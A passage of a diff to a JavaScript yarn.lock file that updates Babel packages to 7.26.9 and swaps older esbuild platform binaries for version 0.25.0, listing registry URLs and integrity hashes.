+  integrity sha512-qyRplbeIpNZhmzOysF/wFMuP9sctmh2cFzRAZOn1YapxBsE1i9bJIY586R/WBLfLcmcBlM8ROBiQURnnNy+zfA==
   dependencies:
     "@babel/code-frame" "^7.26.2"
-    "@babel/parser" "^7.26.8"
-    "@babel/types" "^7.26.8"
+    "@babel/parser" "^7.26.9"
+    "@babel/types" "^7.26.9"
 
-"@babel/traverse@^7.25.6", "@babel/traverse@^7.25.9", "@babel/traverse@^7.26.5", "@babel/traverse@^7.26.8":
-  version "7.26.8"
-  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.26.8.tgz#0a8a9c2b7cc9519eed14275f4fd2278ad46e8cc9"
-  integrity sha512-nic9tRkjYH0oB2dzr/JoGIm+4Q6SuYeLEiIiZDwBscRMYFJ+tMAz98fuel9ZnbXViA2I0HVSSRRK8DW5fjXStA==
+"@babel/traverse@^7.25.6", "@babel/traverse@^7.25.9", "@babel/traverse@^7.26.5", "@babel/traverse@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.26.9.tgz#4398f2394ba66d05d988b2ad13c219a2c857461a"
+  integrity sha512-ZYW7L+pL8ahU5fXmNbPF+iZFHCv5scFak7MZ9bwaRPLUhHh7QQEMjZUg0HevihoqCM5iSYHN61EyCoZvqC+bxg==
   dependencies:
     "@babel/code-frame" "^7.26.2"
-    "@babel/generator" "^7.26.8"
-    "@babel/parser" "^7.26.8"
-    "@babel/template" "^7.26.8"
-    "@babel/types" "^7.26.8"
+    "@babel/generator" "^7.26.9"
+    "@babel/parser" "^7.26.9"
+    "@babel/template" "^7.26.9"
+    "@babel/types" "^7.26.9"
     debug "^4.3.1"
     globals "^11.1.0"
 
-"@babel/types@^7.25.4", "@babel/types@^7.25.6", "@babel/types@^7.25.9", "@babel/types@^7.26.0", "@babel/types@^7.26.3", "@babel/types@^7.26.7", "@babel/types@^7.26.8":
-  version "7.26.8"
-  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.26.8.tgz#97dcdc190fab45be7f3dc073e3c11160d677c127"
-  integrity sha512-eUuWapzEGWFEpHFxgEaBG8e3n6S8L3MSu0oda755rOfabWPnh0Our1AozNFVUxGFIhbKgd1ksprsoDGMinTOTA==
+"@babel/types@^7.25.4", "@babel/types@^7.25.6", "@babel/types@^7.25.9", "@babel/types@^7.26.0", "@babel/types@^7.26.3", "@babel/types@^7.26.5", "@babel/types@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.26.9.tgz#08b43dec79ee8e682c2ac631c010bdcac54a21ce"
+  integrity sha512-Y3IR1cRnOxOCDvMmNiym7XpXQ93iGDDPHx+Zj+NM+rg0fBaShfQLkg+hKPaZCEvg5N/LeCo4+Rj/i3FuJsIQaw==
   dependencies:
     "@babel/helper-string-parser" "^7.25.9"
     "@babel/helper-validator-identifier" "^7.25.9"
@@ -361,366 +360,256 @@
     esquery "^1.6.0"
     jsdoc-type-pratt-parser "~4.1.0"
 
-"@esbuild/aix-ppc64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz#c7184a326533fcdf1b8ee0733e21c713b975575f"
-  integrity sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==
-
-"@esbuild/aix-ppc64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/aix-ppc64/-/aix-ppc64-0.23.1.tgz#51299374de171dbd80bb7d838e1cfce9af36f353"
-  integrity sha512-6VhYk1diRqrhBAqpJEdjASR/+WVRtfjpqKuNw11cLiaWpAT/Uu+nokB+UJnevzy/P9C/ty6AOe0dwueMrGh/iQ==
-
 "@esbuild/aix-ppc64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/aix-ppc64/-/aix-ppc64-0.24.2.tgz#38848d3e25afe842a7943643cbcd387cc6e13461"
   integrity sha512-thpVCb/rhxE/BnMLQ7GReQLLN8q9qbHmI55F4489/ByVg2aQaQ6kbcLb6FHkocZzQhxc4gx0sCk0tJkKBFzDhA==
 
-"@esbuild/android-arm64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz#09d9b4357780da9ea3a7dfb833a1f1ff439b4052"
-  integrity sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==
-
-"@esbuild/android-arm64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/android-arm64/-/android-arm64-0.23.1.tgz#58565291a1fe548638adb9c584237449e5e14018"
-  integrity sha512-xw50ipykXcLstLeWH7WRdQuysJqejuAGPd30vd1i5zSyKK3WE+ijzHmLKxdiCMtH1pHz78rOg0BKSYOSB/2Khw==
+"@esbuild/aix-ppc64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/aix-ppc64/-/aix-ppc64-0.25.0.tgz#499600c5e1757a524990d5d92601f0ac3ce87f64"
+  integrity sha512-O7vun9Sf8DFjH2UtqK8Ku3LkquL9SZL8OLY1T5NZkA34+wG3OQF7cl4Ql8vdNzM6fzBbYfLaiRLIOZ+2FOCgBQ==
 
 "@esbuild/android-arm64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/android-arm64/-/android-arm64-0.24.2.tgz#f592957ae8b5643129fa889c79e69cd8669bb894"
   integrity sha512-cNLgeqCqV8WxfcTIOeL4OAtSmL8JjcN6m09XIgro1Wi7cF4t/THaWEa7eL5CMoMBdjoHOTh/vwTO/o2TRXIyzg==
 
-"@esbuild/android-arm@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/android-arm/-/android-arm-0.21.5.tgz#9b04384fb771926dfa6d7ad04324ecb2ab9b2e28"
-  integrity sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==
-
-"@esbuild/android-arm@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/android-arm/-/android-arm-0.23.1.tgz#5eb8c652d4c82a2421e3395b808e6d9c42c862ee"
-  integrity sha512-uz6/tEy2IFm9RYOyvKl88zdzZfwEfKZmnX9Cj1BHjeSGNuGLuMD1kR8y5bteYmwqKm1tj8m4cb/aKEorr6fHWQ==
+"@esbuild/android-arm64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/android-arm64/-/android-arm64-0.25.0.tgz#b9b8231561a1dfb94eb31f4ee056b92a985c324f"
+  integrity sha512-grvv8WncGjDSyUBjN9yHXNt+cq0snxXbDxy5pJtzMKGmmpPxeAmAhWxXI+01lU5rwZomDgD3kJwulEnhTRUd6g==
 
 "@esbuild/android-arm@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/android-arm/-/android-arm-0.24.2.tgz#72d8a2063aa630308af486a7e5cbcd1e134335b3"
   integrity sha512-tmwl4hJkCfNHwFB3nBa8z1Uy3ypZpxqxfTQOcHX+xRByyYgunVbZ9MzUUfb0RxaHIMnbHagwAxuTL+tnNM+1/Q==
 
-"@esbuild/android-x64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/android-x64/-/android-x64-0.21.5.tgz#29918ec2db754cedcb6c1b04de8cd6547af6461e"
-  integrity sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==
-
-"@esbuild/android-x64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/android-x64/-/android-x64-0.23.1.tgz#ae19d665d2f06f0f48a6ac9a224b3f672e65d517"
-  integrity sha512-nlN9B69St9BwUoB+jkyU090bru8L0NA3yFvAd7k8dNsVH8bi9a8cUAUSEcEEgTp2z3dbEDGJGfP6VUnkQnlReg==
+"@esbuild/android-arm@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/android-arm/-/android-arm-0.25.0.tgz#ca6e7888942505f13e88ac9f5f7d2a72f9facd2b"
+  integrity sha512-PTyWCYYiU0+1eJKmw21lWtC+d08JDZPQ5g+kFyxP0V+es6VPPSUhM6zk8iImp2jbV6GwjX4pap0JFbUQN65X1g==
 
 "@esbuild/android-x64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/android-x64/-/android-x64-0.24.2.tgz#9a7713504d5f04792f33be9c197a882b2d88febb"
   integrity sha512-B6Q0YQDqMx9D7rvIcsXfmJfvUYLoP722bgfBlO5cGvNVb5V/+Y7nhBE3mHV9OpxBf4eAS2S68KZztiPaWq4XYw==
 
-"@esbuild/darwin-arm64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz#e495b539660e51690f3928af50a76fb0a6ccff2a"
-  integrity sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==
-
-"@esbuild/darwin-arm64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/darwin-arm64/-/darwin-arm64-0.23.1.tgz#05b17f91a87e557b468a9c75e9d85ab10c121b16"
-  integrity sha512-YsS2e3Wtgnw7Wq53XXBLcV6JhRsEq8hkfg91ESVadIrzr9wO6jJDMZnCQbHm1Guc5t/CdDiFSSfWP58FNuvT3Q==
+"@esbuild/android-x64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/android-x64/-/android-x64-0.25.0.tgz#e765ea753bac442dfc9cb53652ce8bd39d33e163"
+  integrity sha512-m/ix7SfKG5buCnxasr52+LI78SQ+wgdENi9CqyCXwjVR2X4Jkz+BpC3le3AoBPYTC9NHklwngVXvbJ9/Akhrfg==
 
 "@esbuild/darwin-arm64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/darwin-arm64/-/darwin-arm64-0.24.2.tgz#02ae04ad8ebffd6e2ea096181b3366816b2b5936"
   integrity sha512-kj3AnYWc+CekmZnS5IPu9D+HWtUI49hbnyqk0FLEJDbzCIQt7hg7ucF1SQAilhtYpIujfaHr6O0UHlzzSPdOeA==
 
-"@esbuild/darwin-x64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz#c13838fa57372839abdddc91d71542ceea2e1e22"
-  integrity sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==
-
-"@esbuild/darwin-x64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/darwin-x64/-/darwin-x64-0.23.1.tgz#c58353b982f4e04f0d022284b8ba2733f5ff0931"
-  integrity sha512-aClqdgTDVPSEGgoCS8QDG37Gu8yc9lTHNAQlsztQ6ENetKEO//b8y31MMu2ZaPbn4kVsIABzVLXYLhCGekGDqw==
+"@esbuild/darwin-arm64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/darwin-arm64/-/darwin-arm64-0.25.0.tgz#fa394164b0d89d4fdc3a8a21989af70ef579fa2c"
+  integrity sha512-mVwdUb5SRkPayVadIOI78K7aAnPamoeFR2bT5nszFUZ9P8UpK4ratOdYbZZXYSqPKMHfS1wdHCJk1P1EZpRdvw==
 
 "@esbuild/darwin-x64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/darwin-x64/-/darwin-x64-0.24.2.tgz#9ec312bc29c60e1b6cecadc82bd504d8adaa19e9"
   integrity sha512-WeSrmwwHaPkNR5H3yYfowhZcbriGqooyu3zI/3GGpF8AyUdsrrP0X6KumITGA9WOyiJavnGZUwPGvxvwfWPHIA==
 
-"@esbuild/freebsd-arm64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz#646b989aa20bf89fd071dd5dbfad69a3542e550e"
-  integrity sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==
-
-"@esbuild/freebsd-arm64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.23.1.tgz#f9220dc65f80f03635e1ef96cfad5da1f446f3bc"
-  integrity sha512-h1k6yS8/pN/NHlMl5+v4XPfikhJulk4G+tKGFIOwURBSFzE8bixw1ebjluLOjfwtLqY0kewfjLSrO6tN2MgIhA==
+"@esbuild/darwin-x64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/darwin-x64/-/darwin-x64-0.25.0.tgz#91979d98d30ba6e7d69b22c617cc82bdad60e47a"
+  integrity sha512-DgDaYsPWFTS4S3nWpFcMn/33ZZwAAeAFKNHNa1QN0rI4pUjgqf0f7ONmXf6d22tqTY+H9FNdgeaAa+YIFUn2Rg==
 
 "@esbuild/freebsd-arm64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.24.2.tgz#5e82f44cb4906d6aebf24497d6a068cfc152fa00"
   integrity sha512-UN8HXjtJ0k/Mj6a9+5u6+2eZ2ERD7Edt1Q9IZiB5UZAIdPnVKDoG7mdTVGhHJIeEml60JteamR3qhsr1r8gXvg==
 
-"@esbuild/freebsd-x64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz#aa615cfc80af954d3458906e38ca22c18cf5c261"
-  integrity sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==
-
-"@esbuild/freebsd-x64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/freebsd-x64/-/freebsd-x64-0.23.1.tgz#69bd8511fa013b59f0226d1609ac43f7ce489730"
-  integrity sha512-lK1eJeyk1ZX8UklqFd/3A60UuZ/6UVfGT2LuGo3Wp4/z7eRTRYY+0xOu2kpClP+vMTi9wKOfXi2vjUpO1Ro76g==
+"@esbuild/freebsd-arm64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.0.tgz#b97e97073310736b430a07b099d837084b85e9ce"
+  integrity sha512-VN4ocxy6dxefN1MepBx/iD1dH5K8qNtNe227I0mnTRjry8tj5MRk4zprLEdG8WPyAPb93/e4pSgi1SoHdgOa4w==
 
 "@esbuild/freebsd-x64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/freebsd-x64/-/freebsd-x64-0.24.2.tgz#3fb1ce92f276168b75074b4e51aa0d8141ecce7f"
   integrity sha512-TvW7wE/89PYW+IevEJXZ5sF6gJRDY/14hyIGFXdIucxCsbRmLUcjseQu1SyTko+2idmCw94TgyaEZi9HUSOe3Q==
 
-"@esbuild/linux-arm64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz#70ac6fa14f5cb7e1f7f887bcffb680ad09922b5b"
-  integrity sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==
-
-"@esbuild/linux-arm64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-arm64/-/linux-arm64-0.23.1.tgz#8050af6d51ddb388c75653ef9871f5ccd8f12383"
-  integrity sha512-/93bf2yxencYDnItMYV/v116zff6UyTjo4EtEQjUBeGiVpMmffDNUyD9UN2zV+V3LRV3/on4xdZ26NKzn6754g==
+"@esbuild/freebsd-x64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/freebsd-x64/-/freebsd-x64-0.25.0.tgz#f3b694d0da61d9910ec7deff794d444cfbf3b6e7"
+  integrity sha512-mrSgt7lCh07FY+hDD1TxiTyIHyttn6vnjesnPoVDNmDfOmggTLXRv8Id5fNZey1gl/V2dyVK1VXXqVsQIiAk+A==
 
 "@esbuild/linux-arm64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-arm64/-/linux-arm64-0.24.2.tgz#856b632d79eb80aec0864381efd29de8fd0b1f43"
   integrity sha512-7HnAD6074BW43YvvUmE/35Id9/NB7BeX5EoNkK9obndmZBUk8xmJJeU7DwmUeN7tkysslb2eSl6CTrYz6oEMQg==
 
-"@esbuild/linux-arm@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz#fc6fd11a8aca56c1f6f3894f2bea0479f8f626b9"
-  integrity sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==
-
-"@esbuild/linux-arm@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-arm/-/linux-arm-0.23.1.tgz#ecaabd1c23b701070484990db9a82f382f99e771"
-  integrity sha512-CXXkzgn+dXAPs3WBwE+Kvnrf4WECwBdfjfeYHpMeVxWE0EceB6vhWGShs6wi0IYEqMSIzdOF1XjQ/Mkm5d7ZdQ==
+"@esbuild/linux-arm64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-arm64/-/linux-arm64-0.25.0.tgz#f921f699f162f332036d5657cad9036f7a993f73"
+  integrity sha512-9QAQjTWNDM/Vk2bgBl17yWuZxZNQIF0OUUuPZRKoDtqF2k4EtYbpyiG5/Dk7nqeK6kIJWPYldkOcBqjXjrUlmg==
 
 "@esbuild/linux-arm@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-arm/-/linux-arm-0.24.2.tgz#c846b4694dc5a75d1444f52257ccc5659021b736"
   integrity sha512-n0WRM/gWIdU29J57hJyUdIsk0WarGd6To0s+Y+LwvlC55wt+GT/OgkwoXCXvIue1i1sSNWblHEig00GBWiJgfA==
 
-"@esbuild/linux-ia32@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz#3271f53b3f93e3d093d518d1649d6d68d346ede2"
-  integrity sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==
-
-"@esbuild/linux-ia32@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-ia32/-/linux-ia32-0.23.1.tgz#3ed2273214178109741c09bd0687098a0243b333"
-  integrity sha512-VTN4EuOHwXEkXzX5nTvVY4s7E/Krz7COC8xkftbbKRYAl96vPiUssGkeMELQMOnLOJ8k3BY1+ZY52tttZnHcXQ==
+"@esbuild/linux-arm@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-arm/-/linux-arm-0.25.0.tgz#cc49305b3c6da317c900688995a4050e6cc91ca3"
+  integrity sha512-vkB3IYj2IDo3g9xX7HqhPYxVkNQe8qTK55fraQyTzTX/fxaDtXiEnavv9geOsonh2Fd2RMB+i5cbhu2zMNWJwg==
 
 "@esbuild/linux-ia32@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-ia32/-/linux-ia32-0.24.2.tgz#f8a16615a78826ccbb6566fab9a9606cfd4a37d5"
   integrity sha512-sfv0tGPQhcZOgTKO3oBE9xpHuUqguHvSo4jl+wjnKwFpapx+vUDcawbwPNuBIAYdRAvIDBfZVvXprIj3HA+Ugw==
 
-"@esbuild/linux-loong64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz#ed62e04238c57026aea831c5a130b73c0f9f26df"
-  integrity sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==
-
-"@esbuild/linux-loong64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-loong64/-/linux-loong64-0.23.1.tgz#a0fdf440b5485c81b0fbb316b08933d217f5d3ac"
-  integrity sha512-Vx09LzEoBa5zDnieH8LSMRToj7ir/Jeq0Gu6qJ/1GcBq9GkfoEAoXvLiW1U9J1qE/Y/Oyaq33w5p2ZWrNNHNEw==
+"@esbuild/linux-ia32@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-ia32/-/linux-ia32-0.25.0.tgz#3e0736fcfab16cff042dec806247e2c76e109e19"
+  integrity sha512-43ET5bHbphBegyeqLb7I1eYn2P/JYGNmzzdidq/w0T8E2SsYL1U6un2NFROFRg1JZLTzdCoRomg8Rvf9M6W6Gg==
 
 "@esbuild/linux-loong64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-loong64/-/linux-loong64-0.24.2.tgz#1c451538c765bf14913512c76ed8a351e18b09fc"
   integrity sha512-CN9AZr8kEndGooS35ntToZLTQLHEjtVB5n7dl8ZcTZMonJ7CCfStrYhrzF97eAecqVbVJ7APOEe18RPI4KLhwQ==
 
-"@esbuild/linux-mips64el@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz#e79b8eb48bf3b106fadec1ac8240fb97b4e64cbe"
-  integrity sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==
-
-"@esbuild/linux-mips64el@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-mips64el/-/linux-mips64el-0.23.1.tgz#e11a2806346db8375b18f5e104c5a9d4e81807f6"
-  integrity sha512-nrFzzMQ7W4WRLNUOU5dlWAqa6yVeI0P78WKGUo7lg2HShq/yx+UYkeNSE0SSfSure0SqgnsxPvmAUu/vu0E+3Q==
+"@esbuild/linux-loong64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-loong64/-/linux-loong64-0.25.0.tgz#ea2bf730883cddb9dfb85124232b5a875b8020c7"
+  integrity sha512-fC95c/xyNFueMhClxJmeRIj2yrSMdDfmqJnyOY4ZqsALkDrrKJfIg5NTMSzVBr5YW1jf+l7/cndBfP3MSDpoHw==
 
 "@esbuild/linux-mips64el@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-mips64el/-/linux-mips64el-0.24.2.tgz#0846edeefbc3d8d50645c51869cc64401d9239cb"
   integrity sha512-iMkk7qr/wl3exJATwkISxI7kTcmHKE+BlymIAbHO8xanq/TjHaaVThFF6ipWzPHryoFsesNQJPE/3wFJw4+huw==
 
-"@esbuild/linux-ppc64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz#5f2203860a143b9919d383ef7573521fb154c3e4"
-  integrity sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==
-
-"@esbuild/linux-ppc64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-ppc64/-/linux-ppc64-0.23.1.tgz#06a2744c5eaf562b1a90937855b4d6cf7c75ec96"
-  integrity sha512-dKN8fgVqd0vUIjxuJI6P/9SSSe/mB9rvA98CSH2sJnlZ/OCZWO1DJvxj8jvKTfYUdGfcq2dDxoKaC6bHuTlgcw==
+"@esbuild/linux-mips64el@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-mips64el/-/linux-mips64el-0.25.0.tgz#4cababb14eede09248980a2d2d8b966464294ff1"
+  integrity sha512-nkAMFju7KDW73T1DdH7glcyIptm95a7Le8irTQNO/qtkoyypZAnjchQgooFUDQhNAy4iu08N79W4T4pMBwhPwQ==
 
 "@esbuild/linux-ppc64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-ppc64/-/linux-ppc64-0.24.2.tgz#8e3fc54505671d193337a36dfd4c1a23b8a41412"
   integrity sha512-shsVrgCZ57Vr2L8mm39kO5PPIb+843FStGt7sGGoqiiWYconSxwTiuswC1VJZLCjNiMLAMh34jg4VSEQb+iEbw==
 
-"@esbuild/linux-riscv64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz#07bcafd99322d5af62f618cb9e6a9b7f4bb825dc"
-  integrity sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==
-
-"@esbuild/linux-riscv64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-riscv64/-/linux-riscv64-0.23.1.tgz#65b46a2892fc0d1af4ba342af3fe0fa4a8fe08e7"
-  integrity sha512-5AV4Pzp80fhHL83JM6LoA6pTQVWgB1HovMBsLQ9OZWLDqVY8MVobBXNSmAJi//Csh6tcY7e7Lny2Hg1tElMjIA==
+"@esbuild/linux-ppc64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-ppc64/-/linux-ppc64-0.25.0.tgz#8860a4609914c065373a77242e985179658e1951"
+  integrity sha512-NhyOejdhRGS8Iwv+KKR2zTq2PpysF9XqY+Zk77vQHqNbo/PwZCzB5/h7VGuREZm1fixhs4Q/qWRSi5zmAiO4Fw==
 
 "@esbuild/linux-riscv64@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-riscv64/-/linux-riscv64-0.24.2.tgz#6a1e92096d5e68f7bb10a0d64bb5b6d1daf9a694"
   integrity sha512-4eSFWnU9Hhd68fW16GD0TINewo1L6dRrB+oLNNbYyMUAeOD2yCK5KXGK1GH4qD/kT+bTEXjsyTCiJGHPZ3eM9Q==
 
-"@esbuild/linux-s390x@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz#b7ccf686751d6a3e44b8627ababc8be3ef62d8de"
-  integrity sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==
-
-"@esbuild/linux-s390x@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-s390x/-/linux-s390x-0.23.1.tgz#e71ea18c70c3f604e241d16e4e5ab193a9785d6f"
-  integrity sha512-9ygs73tuFCe6f6m/Tb+9LtYxWR4c9yg7zjt2cYkjDbDpV/xVn+68cQxMXCjUpYwEkze2RcU/rMnfIXNRFmSoDw==
+"@esbuild/linux-riscv64@0.25.0":
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/@esbuild/linux-riscv64/-/linux-riscv64-0.25.0.tgz#baf26e20bb2d38cfb86ee282dff840c04f4ed987"
+  integrity sha512-5S/rbP5OY+GHLC5qXp1y/Mx//e92L1YDqkiBbO9TQOvuFXM+iDqUNG5XopAnXoRH3FjIUDkeGcY1cgNvnXp/kA==
 
 "@esbuild/linux-s390x@0.24.2":
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/@esbuild/linux-s390x/-/linux-s390x-0.24.2.tgz#ab18e56e66f7a3c49cb97d337cd0a6fea28a8577"
   integrity sha512-S0Bh0A53b0YHL2XEXC20bHLuGMOhFDO6GN4b3YjRLK//Ep3ql3erpNcPlEFed93hsQAjAQDNsvcK+hV90FubSw==
 
-"@esbuild/linux-x64@0.21.5":
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz#6d8f0c768e070e64309af8004bb94e68ab2bb3b0"
-  integrity sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==
-
-"@esbuild/linux-x64@0.23.1":
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/@esbuild/linux-x64/-/linux-x64-0.23.1.tgz#d47f97391e80690d4dfe811a2e7d6927ad9eed24"
